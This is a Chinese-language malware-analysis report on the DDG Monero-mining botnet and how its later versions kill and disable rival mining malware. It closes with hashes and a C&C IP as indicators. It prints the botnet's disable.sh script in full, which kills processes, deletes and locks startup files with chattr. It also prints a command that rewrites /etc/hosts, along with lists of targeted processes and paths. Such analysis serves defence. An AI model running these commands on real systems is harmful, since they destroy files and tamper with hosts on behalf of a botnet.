DDG 是一个专注于扫描控制 SSH 端口、 Redis 数据库 和 OrientDB 数据库服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。我们在 2017 年 10 月 25 日首次感知到 DDG 僵尸网络,并发布技术分析报告。之后 DDG 数次更新版本,我们也跟踪分析并发布数篇分析报告,报告列表如下,全部的报告列表在 这里:
- DDG.Mining.Botnet:一个瞄准数据库服务器的挖矿僵尸网络
- DDG.Mining.Botnet 近期活动分析
- 僵尸永远不死,DDG拒绝凋零
- 威胁快讯:DDG 3013 版本
- 威胁快讯:DDG 3014 版本
- DDG 升级: P2P机制加持,样本对抗增强
DDG 近期更新,主要是升级对抗其他竞争对手(恶意挖矿挖矿木马)的方式。
- v3014 版本,启用 disable.sh,用 Shell 脚本清理其他 Miner;
- 2019.03.23 凌晨(v3020 版本),启用 ELF 格式的
disable.$(uanme -m)
样本,实现更复杂的功能更彻底地干掉竞争对手。disable 样本同样由 Go 语言编写; - 2019.04.06 晚上,上线 v3021 版本,并在一个多小时后上线 v3022 版本,这两个版本在样本内集成
main__minerd_killOtherMiners()
函数,并以disable.$(uname -m)
样本辅助对抗竞争对手。
由于最新的 DDG 主 C&C 服务器禁用了目录浏览,所以无法在浏览器里查看所有样本,只好根据相关样本 HTTP Response Header 中的 Last-Modified 信息来确认样本文件最新的改动时间。相关几个主要样本的时间戳信息如下:
2. DDG 对抗其他 Miner 的技术演进
2.1 原始方式——i.sh 包打天下
DDG 早期版本中,就在其核心 Shell 脚本 i.sh 中实现了删除、禁用其他竞争对手 Miner 的功能,这个时候只是简单 Kill 掉一些恶意的挖矿进程。示例代码如下:
2.2 进阶方式——云端配置下发 disable.sh 集中干掉竞争对手
后来,DDG 新增了下发云端配置文件的功能,在 v3014 版本中的配置文件中首次下发 disable.sh。最新的下发 disable.sh 的云端配置数据如下:
最后的 disable.sh 脚本内容(比 v3014 时期初版 disable.sh 复杂了许多):
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /opt/yilu/work/{xig,xige} /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chmod -w /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
rm -rf /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
touch /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chmod -rw /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chattr +i /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
ps auxf | grep -v grep | grep /tmp/thisxxs | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/work/xig/xig | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/mservice | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
2.3 再升级——Go编写更复杂的程序来干掉竞争对手
当前 Linux 上的挖矿木马对抗措施越来越多,主要是实现了更复杂的持久驻留机制,所以很多情况下并不能靠一个简单的 Kill 命令来将其彻底灭掉。DDG 本身就是一个例子,其他的比如 BillGates、WatchdogsMiner 也都是如此。再者,DDG 由于本身规模较大,在业界知名度较高,各家挖矿木马都会针对性地杀掉 DDG 的进程,所以升级更复杂的对抗措施来将竞争对手彻底“灭活”,是 DDG 必须要走的路。
2019.03.23 凌晨,DDG 在 v3020 的最新配置数据中推送了 disable.$(uname -m)
二进制程序,实现更复杂的功能来灭掉大批竞争对手。配置数据如下:
另外,DDG 的最新配置中还会修改 Hosts 文件,屏蔽掉竞争对手的 Payload 下发通道:
echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n" >> /etc/hosts
最后,DDG 从 v3021 版本开始,主样本中新增了一个函数 killOtherMiners() ,专门来杀掉其他挖矿进程:
这样一来,目前最新的 ddg 共有 3 种方式对抗竞争对手:
- 主样本中的 killOtherMiners() 函数杀掉其他挖矿进程;
- 篡改 Hosts 文件,屏蔽其他恶意挖矿家族的 Payload 下发通道;
- 专门的 disable 程序来对抗竞争对手。
下文着重分析 killOtherMiners() 函数和 disable ELF 样本。
3. 恶意样本中对抗竞争对手的手段
3.1 killOtherMiners 函数
ddg 主样本中对 KillOtherMiners() 函数调用的链条如下:
main_main()-->main_NewMinerd()-->main__minerd_backgroud()-->main__minerd_killOtherMiners()
该函数主要利用 gopsutil 里的相关功能,找出当前进程列表中,CPU 利用率占比 30% 以上的进程。把这些进程当作是挖矿进程直接杀掉。核心代码片段如下:
3.2 disable ELF 样本
该恶意样本其实是上面 disable.sh 脚本的升级版,做的工作大致类似,但更模块化、易扩展。样本工作流程很简单,总共就以下几个核心函数:
- clear() : 清空文件
/etc/ld.so.preload
和/opt/yilu/mservice
; - kill(): 杀掉特定进程;
- disable() : 禁用特定服务或启动项;
- spGates() : 通过读取
/tmp/gates.lod
和/tmp/moni.lod
里的进程信息,获取 BillGates 木马的进程,然后杀掉 billGates 进程 ; - spMiners() : 同于主样本中的 killOtherMiners() 函数,杀掉 CPU 占用率 30% 以上的进程。
总结起来,手段主要是杀掉竞争对手的进程,并清空竞争对手落到磁盘上的恶意文件。这是一个比较讨巧的方式:不是彻底的清理(也很难做到彻底清理),而只是清空竞争对手的恶意文件,或者失陷主机上还没有被竞争对手拿下,就先创建一个竞争对手的恶意文件,但文件为空。这样可以有以下两个效果:
- 很多木马都会根据启动项中的木马文件路径来检查当前主机有没有被自己感染,如果当前主机还没感染特定木马,ddg 就先创建一个空的木马文件(比如
/etc/rc1.d/S99selinux
),就能避免这台失陷主机被这类竞争对手感染; - 清空竞争对手的木马文件,再杀掉竞争对手的木马进程,即使竞争对手再次启动自己的执行体,也无法真正把自己的木马执行起来。
3.2.1 kill() 函数
杀掉进程 cmdline 中包含以下字串的进程:
"/etc/cfly"
"/etc/migrations"
"/etc/httpdz"
"/opt/nu/renice"
"/tmp/thisxxs"
"/opt/yilu"
"/usr/bin/.sshd"
"/usr/bin/bsd-port"
"ksoftirqds"
"kthrotlds"
"watchdogs"
"hwlh3wlh44lh"
"Circle_MI"
"get.bi-chi.com"
"hashvault.pro"
"nanopool.org"
"minexmr.com"
"/boot/efi"
该函数的工作流程是:
- 读取上面的字符串列表;
- 针对每一条字符串做以下事情:
- 获取当前所有的进程 pid;
- 根据 pid 打开每一个 进程,读取进程信息,抽取每个进程的 cmdline string;
- 依次对比每个进程的 cmdline string 与目标竞争对手进程相关字串;
- 匹配到竞争对手的进程,就杀掉
这个工作方式实现的有点低效,消耗资源略多,因为每条目的字串都要重复读取所有 pid,并获取每个 pid 对应的 cmdline string。
3.2.2 disable() 函数
disable() 函数的主要工作原理,是针对竞争对手的系统启动项程序或目录,有则清空,无则新建空文件,并且用 chattr +i
命令修改文件属性,防止文件后续被修改。涉及的竞争对手有:
/etc/cfly
/etc/migrations
/etc/httpdz
/opt/nu/renice
/opt/yilu/mservice
/opt/yilu/work/xig/xig
/opt/yilu/work/xige/xige
/tmp/thisxxs
/usr/bin/.sshd
/usr/bin/bsd-port/getty
/usr/bin/bsd-port/.dbus
/usr/bin/bsd-port/nm
/tmp/php
/tmp/name
/tmp/xc.x86_64
/etc/init.d/DbSecuritySpt
/etc/init.d/selinux
/etc/rc1.d/
/etc/rc2.d/
/etc/rc3.d/
/etc/rc4.d/
/etc/rc5.d/
/etc/rc1.d/S99selinux
/etc/rc2.d/S99selinux
/etc/rc3.d/S99selinux
/etc/rc4.d/S99selinux
/etc/rc5.d/S99selinux
/usr/local/lib/libioset.so
/tmp/watchdogs
/etc/cron.d/tomcat
/etc/rc.d/init.d/watchdogs
/usr/sbin/watchdogs
/tmp/kthrotlds
/etc/rc.d/init.d/kthrotlds
/usr/sbin/kthrotlds
/etc/init.d/netdns
4. IoCs
MD5:
6162d060c707413629955859964c3d2b i.sh
aa0ae121b136d2097cd3b3edb55320d9 ssh.sh
4d46bc1c34202d6fe39564059febb29b disable.sh
245ea1a0b949b0d0be408e4a479ff285 disable.i686
f6aa868385cf8232a22a12e4015a9c73 disable.x86_64
9be79303ea38fbb31f73f79346e4c7ae 3021/ddgs.i686
bb5b15b9281fd7a24cd8a947c55dcf02 3021/ddgs.x86_64
c32bd921a71d82696517c22021173480 3022/ddgs.i686
79d762d1ff16142ea3bdae560558e718 3022/ddgs.x86_64
IP:
119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China